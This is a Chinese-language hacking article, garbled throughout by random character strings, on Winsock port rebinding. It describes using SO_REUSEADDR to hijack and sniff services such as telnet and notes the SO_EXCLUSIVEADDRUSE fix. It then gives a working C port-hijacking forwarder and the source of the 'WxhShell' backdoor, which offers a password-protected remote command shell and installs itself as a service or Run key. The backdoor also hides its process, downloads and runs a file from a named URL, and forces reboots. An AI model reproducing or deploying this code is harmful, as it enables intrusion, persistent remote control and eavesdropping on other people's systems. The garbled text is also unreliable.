在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
`tCOe s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
oc2aE:>X ~YuRi#CTD: saddr.sin_family = AF_INET;
6$'6x2, }/Wd9x saddr.sin_addr.s_addr = htonl(INADDR_ANY);
l;e&p${P V zx%N. bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
(VPT% l6 dwc$?Bg,5 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Z{ntF zr0_SCh;2 这意味着什么?意味着可以进行如下的攻击:
))n7.pB9/ r: _-Cj 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
1%L* 9>e 4*UoTE-g$ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
FjUp+5 tVhY=X{N? 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
k3m|I*_\L ta+'*@V+G 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
{-rK:*yP'u Ih}I`wY- 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
b8J\Lm|J ;8~`fK 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
#lyvb.; 9 Byk/&$U 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
cU25]V^{\ dXh@E7 #include
xG_ ;F #include
7"f$;CN?~ #include
tUq* -9
V #include
h2Ifq!(: DWORD WINAPI ClientThread(LPVOID lpParam);
o'Q)V int main()
n=RAE^[M {
O.=~/!( WORD wVersionRequested;
L%a ni}V DWORD ret;
G'(
%8\ WSADATA wsaData;
(
$3j BOOL val;
}>xgzhdT SOCKADDR_IN saddr;
a4,bP*H SOCKADDR_IN scaddr;
r0kA47 int err;
9`^VuC' SOCKET s;
=&,zWNz) SOCKET sc;
yXNE2K int caddsize;
jh]wHG HANDLE mt;
fHf+! DWORD tid;
&a8#qv"l wVersionRequested = MAKEWORD( 2, 2 );
,"PwNv err = WSAStartup( wVersionRequested, &wsaData );
ew4IAF if ( err != 0 ) {
Z`"UT#^SI printf("error!WSAStartup failed!\n");
w;'
F;j~ return -1;
p;j$i6YJ }
mN?'Aey saddr.sin_family = AF_INET;
v?<x"XKR bm1ngI1oI //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
8N6a= [fv< $X9Ban] saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
@DkPJla& saddr.sin_port = htons(23);
CBSJY&:K if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
mo#4jtCE {
,-c(D-& printf("error!socket failed!\n");
P,iLqat return -1;
;k7` ` }
F4Ft~:a val = TRUE;
D{.%Dr? //SO_REUSEADDR选项就是可以实现端口重绑定的
p`1d'n[ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
]Nt97eD) {
\\hZlCV, printf("error!setsockopt failed!\n");
WGG|d)'@ return -1;
5vbnO]8 }
I2j;9Qcz //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
'[Oi_gE. //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
7!oqn'#>A //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
2WE PBn(k>=+ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
V.Xz
n {
8)"KPr63M ret=GetLastError();
,l;
&Tb=k printf("error!bind failed!\n");
(:+IS
W return -1;
r-N2*uYtu }
!kASEjFz|f listen(s,2);
bvG").8$ while(1)
dN |w;|M {
a2=wJhk caddsize = sizeof(scaddr);
FbFUZ^Zj //接受连接请求
s7xRry sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
ts?b[v if(sc!=INVALID_SOCKET)
d'[aOH4} {
'b661,+d mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
n#J$=@ if(mt==NULL)
Vg
\-^$ {
` V^#Sb printf("Thread Creat Failed!\n");
"mPa>`? break;
RX2=
iO" }
3sp*.dk }
w,}}mC)\* CloseHandle(mt);
$d8A_CUU }
ljt1:@SN( closesocket(s);
[0 &Lvx WSACleanup();
C4 Wdt return 0;
r]HLO'<] }
/$eEj DWORD WINAPI ClientThread(LPVOID lpParam)
'|XP}V0I {
er#we=h SOCKET ss = (SOCKET)lpParam;
<q[*kr SOCKET sc;
VsZ_So; unsigned char buf[4096];
l?FNYvL SOCKADDR_IN saddr;
TS[Z<m long num;
v Q_ B2#U: DWORD val;
8dA/dMQ DWORD ret;
]oya<C6pR //如果是隐藏端口应用的话,可以在此处加一些判断
vq5I 2 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
1|.
0]~0 saddr.sin_family = AF_INET;
rk. UW saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
2~`dV_ saddr.sin_port = htons(23);
_b5iR<f if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-+PPz?0 {
bs`/k&' printf("error!socket failed!\n");
/uyQ>Y*-\Y return -1;
^|K*lI/ }
"LxJPt\ val = 100;
a<o0B{7{BM if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
BuvBSLC~ {
;<][upn ret = GetLastError();
]_pL79y return -1;
B}FF |0< }
lLDHx3+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Qdn:4yk {
(,TO| ret = GetLastError();
<n:?WP~U return -1;
N-Z 9
}
/vV 0$vg if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
0iB1_)~ {
dog,vUu printf("error!socket connect failed!\n");
6\Z^L1973 closesocket(sc);
DVS7N_cx2o closesocket(ss);
jFc{$#g- return -1;
o{hKt? }
)~n}ieS while(1)
PaZYs~EO
{
.=FJ5?:4i% //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
k^]~NP //如果是嗅探内容的话,可以再此处进行内容分析和记录
tp]|/cx4 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
W!(Q_B num = recv(ss,buf,4096,0);
#.='dSj if(num>0)
\wCL)t.cX send(sc,buf,num,0);
Mzd}9x$'J else if(num==0)
o&O!Ur break;
? c+; num = recv(sc,buf,4096,0);
\[&]kPcDl if(num>0)
TGLXvP&
\ send(ss,buf,num,0);
zW _'sC else if(num==0)
k$>T(smh break;
0#7dm9 }
vKt_z@{{L closesocket(ss);
f,#xicSB* closesocket(sc);
;1 fM L,8 return 0 ;
ivq4/Y]-X }
S!]}}fKEFm J\*d4I<(Rt T,fz/5w ==========================================================
Ame%:K!t m+=!Z|K 下边附上一个代码,,WXhSHELL
=jN]ckn "mf;k^sqS ==========================================================
+=_Pl7? On^#x] #include "stdafx.h"
1rEP)66N C0%%@
2+ #include <stdio.h>
;k8}D*?8 #include <string.h>
9& j] #include <windows.h>
?zEF?LJoK #include <winsock2.h>
"ir*;| #include <winsvc.h>
1|VJN D #include <urlmon.h>
||V:',#,W ob{pQx7 #pragma comment (lib, "Ws2_32.lib")
Nt8( #pragma comment (lib, "urlmon.lib")
m
C Ge*V} q*OKA5 #define MAX_USER 100 // 最大客户端连接数
'}u31V"SS #define BUF_SOCK 200 // sock buffer
g&>Hy!v, #define KEY_BUFF 255 // 输入 buffer
Eg*3**gTO w%;'uN_ #define REBOOT 0 // 重启
o__q)"^~- #define SHUTDOWN 1 // 关机
Z3dd9m#.] ^ne8~
;Q #define DEF_PORT 5000 // 监听端口
9K|lU:, :3f2^(b~^ #define REG_LEN 16 // 注册表键长度
u$#7W>R #define SVC_LEN 80 // NT服务名长度
.a*$WGb Be+:-t) // 从dll定义API
Kcl$|T typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ydQS"]\g typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
TeJ
`sJ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
nY)Pxahm 7 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Ao T 7sy7 rLxX^[Fp3 // wxhshell配置信息
y6}):| struct WSCFG {
ak`)> int ws_port; // 监听端口
ItADO'M char ws_passstr[REG_LEN]; // 口令
Oq6n.:8g" int ws_autoins; // 安装标记, 1=yes 0=no
Tm52=+u f$ char ws_regname[REG_LEN]; // 注册表键名
@
WaYU char ws_svcname[REG_LEN]; // 服务名
\BXVWE| char ws_svcdisp[SVC_LEN]; // 服务显示名
dn_OfK char ws_svcdesc[SVC_LEN]; // 服务描述信息
RWFf-VA? char ws_passmsg[SVC_LEN]; // 密码输入提示信息
u9w&q^0dqG int ws_downexe; // 下载执行标记, 1=yes 0=no
C4]%pi char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
z :v, Vu char ws_filenam[SVC_LEN]; // 下载后保存的文件名
!T#y r) f)Q]{ cb6 };
4/?}xD|? A@(h!Cq // default Wxhshell configuration
4rG 7\ struct WSCFG wscfg={DEF_PORT,
bK\WdG\; "xuhuanlingzhe",
sdYj'e:N 1,
a
+yI2s4Z "Wxhshell",
mwH!:f "Wxhshell",
"H<#91^| "WxhShell Service",
}Xj_Y]T "Wrsky Windows CmdShell Service",
Xe;(y "pR "Please Input Your Password: ",
h;qy5KS 1,
W'h0Zg "
http://www.wrsky.com/wxhshell.exe",
+<9
eN "Wxhshell.exe"
ApYud?0b };
D1 ~x F*t_lN5{ // 消息定义模块
([b!$o<v char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
'h>5&=r char *msg_ws_prompt="\n\r? for help\n\r#>";
9zYiG3 d char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
917 0bmr char *msg_ws_ext="\n\rExit.";
5!jNL~M char *msg_ws_end="\n\rQuit.";
:5<9/ char *msg_ws_boot="\n\rReboot...";
;c
Co+( char *msg_ws_poff="\n\rShutdown...";
U
qw}4C/0 char *msg_ws_down="\n\rSave to ";
An #Hb= 68<Z\WP char *msg_ws_err="\n\rErr!";
~vSAnjeR char *msg_ws_ok="\n\rOK!";
?7MwTi8{F SiqX1P char ExeFile[MAX_PATH];
4bev*[k int nUser = 0;
%M#?cmt HANDLE handles[MAX_USER];
[~c'|E8Q int OsIsNt;
hr4ye`c j b>=Wq SERVICE_STATUS serviceStatus;
{XD/8m(hN| SERVICE_STATUS_HANDLE hServiceStatusHandle;
|4S?>e wp%FM // 函数声明
2k}-25xxL int Install(void);
,ah*!Zm.kk int Uninstall(void);
I+"?,Ej$K int DownloadFile(char *sURL, SOCKET wsh);
qJ+52U|z int Boot(int flag);
"WbVCT'i void HideProc(void);
Kka8cG int GetOsVer(void);
=v4r M0m, int Wxhshell(SOCKET wsl);
6Z&u void TalkWithClient(void *cs);
%7 v@n+Q int CmdShell(SOCKET sock);
6UW:l|}4#2 int StartFromService(void);
&^7uv0M<y int StartWxhshell(LPSTR lpCmdLine);
~z
K@pFeH G_M:0YI@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
xshArJ&A VOID WINAPI NTServiceHandler( DWORD fdwControl );
)nNCB=YF! g+ }s:9 // 数据结构和表定义
[.j]V-61 SERVICE_TABLE_ENTRY DispatchTable[] =
& &" 'dL {
q11QAx4p {wscfg.ws_svcname, NTServiceMain},
vXWsF\g {NULL, NULL}
+~
3w5.8 };
dv'E:R(a PW*;S p // 自我安装
p,w|=@= int Install(void)
Y@]);MyL {
V~T`& char svExeFile[MAX_PATH];
9^PRX HKEY key;
Any Zi' strcpy(svExeFile,ExeFile);
', sQ/#S B;GxfYj // 如果是win9x系统,修改注册表设为自启动
|^Ew< if(!OsIsNt) {
2y+70(E1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
)X~Pr?52? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3w/( /|0 RegCloseKey(key);
r(:
8!=~K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
g\o{}Q%X RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8cK\myn. RegCloseKey(key);
5pRY&6So return 0;
R:w%2Y }
.!JMPf"QEI }
!Ea&]G }
cy) k<?, else {
+{xMIl_ vpm ]9>1[ // 如果是NT以上系统,安装为系统服务
0)d?Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
T?X^0UdJj if (schSCManager!=0)
+/y{^}b/ {
T8$%9&j!UE SC_HANDLE schService = CreateService
(2z%U (
zmf"I[) schSCManager,
$gVLk. wscfg.ws_svcname,
[_WI8~gY wscfg.ws_svcdisp,
v%lv8Lar' SERVICE_ALL_ACCESS,
la'e[t7 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
?k{|Lk SERVICE_AUTO_START,
Z)mX,=p SERVICE_ERROR_NORMAL,
8f?rEI\0GD svExeFile,
pC*BA<?Rg NULL,
+0]'| t F> NULL,
TdQ]G2 NULL,
XtCoX\da NULL,
J?Ck4dQ NULL
Hqvc7 -c6 );
0 Tcz[$? if (schService!=0)
4,2(nYF {
MZT6g. ny CloseServiceHandle(schService);
jCzGus!rM CloseServiceHandle(schSCManager);
Q[M (Wqg strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
ql^g~b strcat(svExeFile,wscfg.ws_svcname);
\V= &&(n# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
?*[\UC RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
dM Y
0 K RegCloseKey(key);
h$70H ^r return 0;
re;Lg
C }
NCa~#i:F8 }
D!oZ?dGCo6 CloseServiceHandle(schSCManager);
:$=|7v }
N31?9GE }
YMT8p\#rp :
(gZgMT return 1;
M;*$gV<x }
SSE3tcRRl P+h6!=nD7 // 自我卸载
gmY/STN int Uninstall(void)
Go 1(@ {
|xh&p( HKEY key;
:G -1YA VJDoH if(!OsIsNt) {
mzGjRl=O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
e8,{|a RegDeleteValue(key,wscfg.ws_regname);
4qt+uNe! RegCloseKey(key);
;hwzYXWF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
'WQdr( RegDeleteValue(key,wscfg.ws_regname);
"V4Q2T
T RegCloseKey(key);
i^*M^P3m return 0;
T"?Y5t`( }
Kq&qE>Ju }
mQ}Gh_'ps }
MTb,Kmw<( else {
EUy(T1Cl&& $2KK:{VX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
C/G]v*MBQ if (schSCManager!=0)
y7z( &M@ {
hGI+:Js6 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
3pSj kS|?> if (schService!=0)
Z\Z,,g+WL {
fG&=Ogy if(DeleteService(schService)!=0) {
EyY],W1 Y CloseServiceHandle(schService);
r<c #nD~K CloseServiceHandle(schSCManager);
dv~pddOs return 0;
T|;@T^ }
4(=kE>n} CloseServiceHandle(schService);
2no$+4+z }
NQX>Qh
2 CloseServiceHandle(schSCManager);
byGn,m }
XA<ozq' }
ZyI$M 3{J rkDi+D6`q return 1;
T#EFXHPr }
&gn-Wb? mnjs(x<m // 从指定url下载文件
sI,W%I':d int DownloadFile(char *sURL, SOCKET wsh)
Nxk(mec" {
gKo%(6{n~ HRESULT hr;
O9s?h3 char seps[]= "/";
"(`2eXRn char *token;
3[d>&xk@$ char *file;
SV.z>p char myURL[MAX_PATH];
ST
Z]8cw char myFILE[MAX_PATH];
gL3iw!7 $*f?&U]k strcpy(myURL,sURL);
dNiH|-$an token=strtok(myURL,seps);
6w|J-{2 while(token!=NULL)
=\};it{u {
lCIDBBjy^ file=token;
5~'IKcW< token=strtok(NULL,seps);
-Z0+oU(?YE }
}Fa%%} 0uvzxmN GetCurrentDirectory(MAX_PATH,myFILE);
MS3=~*+ strcat(myFILE, "\\");
y(W|eBe strcat(myFILE, file);
uw AwWgl send(wsh,myFILE,strlen(myFILE),0);
SA;#aj}rV send(wsh,"...",3,0);
D`yEwpV^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
`P}9i@C if(hr==S_OK)
W!T"m)S return 0;
By)u-)g9 else
YXW%]Uy+ return 1;
[?k8}B)mHB pH@]Y+W }
\ZI'|Ad _;
Y` // 系统电源模块
Oy57 $ int Boot(int flag)
W-efv {
RY9V~8|M HANDLE hToken;
NZ0O,}m TOKEN_PRIVILEGES tkp;
)%d*3\Tsd "Gb1K9A
im if(OsIsNt) {
he(A3{' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
9(4&KZpK LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
8s{?v&p tkp.PrivilegeCount = 1;
m908jI_So tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
kM8{Cw AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
<h-vjz if(flag==REBOOT) {
t. ='/`!N if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
-G7TEq) return 0;
eq(am%3~ }
u_(VEfs4 else {
SN7"7jo P< if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
.sC?7O= return 0;
+LM#n#T }
p2Zo }
>Cw<BIF else {
if|+EN% if(flag==REBOOT) {
%LVm3e9 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
)M6w5g return 0;
EkgE_8 }
-gSUjP else {
1%4sHSN if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Zjbc3M5 return 0;
TT=b79k }
^6_e=jIN
}
8"sb; O+y-}7YX return 1;
&?mD$Eo }
_?OW0x4 5R(/Uiv3F // win9x进程隐藏模块
|B?27PD void HideProc(void)
*h}XWB C1q {
=-IbS}3 Z?wU HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Z.92y if ( hKernel != NULL )
cWoPB
_ {
`s\?w5[ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
N5a*7EJv+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
xlhG,bb7 FreeLibrary(hKernel);
9 FB19 }
{zMU#=EC R8ZK]5{o return;
RhncBKm*M }
`DV.+>O-1 3AU;>D ^5 // 获取操作系统版本
S:h{2{ int GetOsVer(void)
:]\([Q+a {
YB-h.1T- OSVERSIONINFO winfo;
19w*!FGX winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Wf|Q$MHos GetVersionEx(&winfo);
;lHr =e7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
5`~PR
:dN return 1;
'.:z&gSqx0 else
8fl`r~bqZ return 0;
<
jJ }
`aciXlqIF wOU_*uY@6' // 客户端句柄模块
`@`CG[-9 int Wxhshell(SOCKET wsl)
<g"{Wv: h {
s.$3j$vT 8 SOCKET wsh;
?l9XAWt\ struct sockaddr_in client;
{\81i8b] DWORD myID;
1`=nWy=' ,J+}rPe"sf while(nUser<MAX_USER)
[CQ+p!QZ {
8WXQOo8 int nSize=sizeof(client);
M/b Sud?@% wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
8Vr%n2M if(wsh==INVALID_SOCKET) return 1;
6 (]Dh;gC LRL,m_gt handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
fp`;U_-&0 if(handles[nUser]==0)
;r<^a6B closesocket(wsh);
R!}H;[c else
b,7k)ND1F nUser++;
IG2r#N|C# }
eA2@Nkw~) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
"\w 7q v[1aWv: return 0;
H#,W5EJzM }
'jWr<]3 *4\:8 // 关闭 socket
TM%|'^) void CloseIt(SOCKET wsh)
akp-zn&je {
q'T4w!V(V closesocket(wsh);
+$ 'Zf0U nUser--;
V?6a8lJ ExitThread(0);
P3x8UR=fS }
6'k<+IR =^M/{51j // 客户端请求句柄
W+I!q:p4H void TalkWithClient(void *cs)
C0T;![/4A {
XO.jl" xu xQ7l~O
b SOCKET wsh=(SOCKET)cs;
R@1 xt@? char pwd[SVC_LEN];
,LHn90S char cmd[KEY_BUFF];
\V;F/Zy( char chr[1];
P)Jgs int i,j;
Acez'@z ,0M_Bk" while (nUser < MAX_USER) {
WlOmJtt4) 03$mYS_? if(wscfg.ws_passstr) {
G|bT9f$ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
0yk]o5a++ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@ a! #G //ZeroMemory(pwd,KEY_BUFF);
KI"#f$2& i=0;
y6(Z`lx while(i<SVC_LEN) {
Cjn#00 wON!MhA; // 设置超时
q}3`|'3 fd_set FdRead;
`+]Qz =} struct timeval TimeOut;
?g_3 [Fk FD_ZERO(&FdRead);
R$R *'l FD_SET(wsh,&FdRead);
j\eI0b @* TimeOut.tv_sec=8;
C7]f*TSC4 TimeOut.tv_usec=0;
S\CCrje int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
R)c?`:iUB if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
{i;r u+9hL4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
LP.]9ut pwd
=chr[0]; cn3#R.G~
if(chr[0]==0xd || chr[0]==0xa) { Z%gh3
pwd=0; `}p0VmD{NE
break; \;,_S+Fz8
} z<MsKD0Q
i++; y'3rNa]G1
} akmkyrz '&
pE`})/?\*
// 如果是非法用户,关闭 socket w2?3wrP3
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xw.A #Zb\_
} <;lkUU(WT2
1v y*{D
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VMZMG$C
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }H53~@WP>
pd?Mf=>#
while(1) { &<z1k-&!
7 W5@TWM
ZeroMemory(cmd,KEY_BUFF); BT !^~S%w
&0d#Y]D4`
// 自动支持客户端 telnet标准 \$K20)
j=0; )+#` CIv
while(j<KEY_BUFF) { MxKS4k
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e1yt9@k,
cmd[j]=chr[0]; *tA1az-jO
if(chr[0]==0xa || chr[0]==0xd) { [+Iz@0q
cmd[j]=0; R*,MfV
break; poE0{HOU
} RbB.q p
j++; p%ki>p )E|
} @FAA2d
x>K Or,f
// 下载文件 yxPazz
if(strstr(cmd,"http://")) { }J}-//[A
send(wsh,msg_ws_down,strlen(msg_ws_down),0); hE{K=Tz$
if(DownloadFile(cmd,wsh)) AI2)g1m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g&L!1<,
p
else HZE#Ab*L
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \doUTr R
} "x0^#AVg
else { E_rI?t^
{ l/U6](
switch(cmd[0]) { As&Sq-NWf
%@b0[ZC
// 帮助 :U|1 xgB
case '?': { )MVz$h{c.]
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [>I<#_^~
break; xK[ou'
} fUWG*o9
// 安装 XSB"{H>&
case 'i': { BKCiIfkZ
if(Install()) dl)Y'DI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v4TQX<0s
else ma]F7dZ5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tU5zF.%
break; EU 6 oQ
} Y1\ }5k{>
// 卸载 5DU6rks%
case 'r': { y-b%T|p9
if(Uninstall()) rBzuKQK}J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); HVCe;eI
else x;KOqfawv
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J1U/.`Oy
break; 4"(Bu/24
} _yx>TE2e
// 显示 wxhshell 所在路径 (S5R!lpO
case 'p': { D/gw .XYL
char svExeFile[MAX_PATH];
Mx ?d
strcpy(svExeFile,"\n\r"); n38p !oS
strcat(svExeFile,ExeFile); 3ZPWze6
send(wsh,svExeFile,strlen(svExeFile),0); <NY^M!
break; O:R*rJ
} 05#1w#i
// 重启 eQm1cgMdz
case 'b': { 76Cl\rV
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K7B/s9/xs
if(Boot(REBOOT)) ?!:ha;n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tS5hv@9cWx
else { UgSB>V<?
closesocket(wsh); H2\;%K 2
ExitThread(0); W\,s:6iqz
} ~W'{p
break; ,-c6dS
} {4}yKjW%z
// 关机 f*% D$Mqg
case 'd': { [!uG1 GJ>
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0S_~ \t
if(Boot(SHUTDOWN)) rU:`*b<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'F3f+YD
else { nNV'O(x}
closesocket(wsh); )9G[dDeC
ExitThread(0);
(N6i4
g6
} ^7cGq+t
break; 6vo;!V6
} %@aSe2B
// 获取shell H5B:;g@
case 's': { ::lKL
CmdShell(wsh); Gr'
CtO
closesocket(wsh); jXx<`I+]
ExitThread(0); rQs)O<jl
break; {X+3;&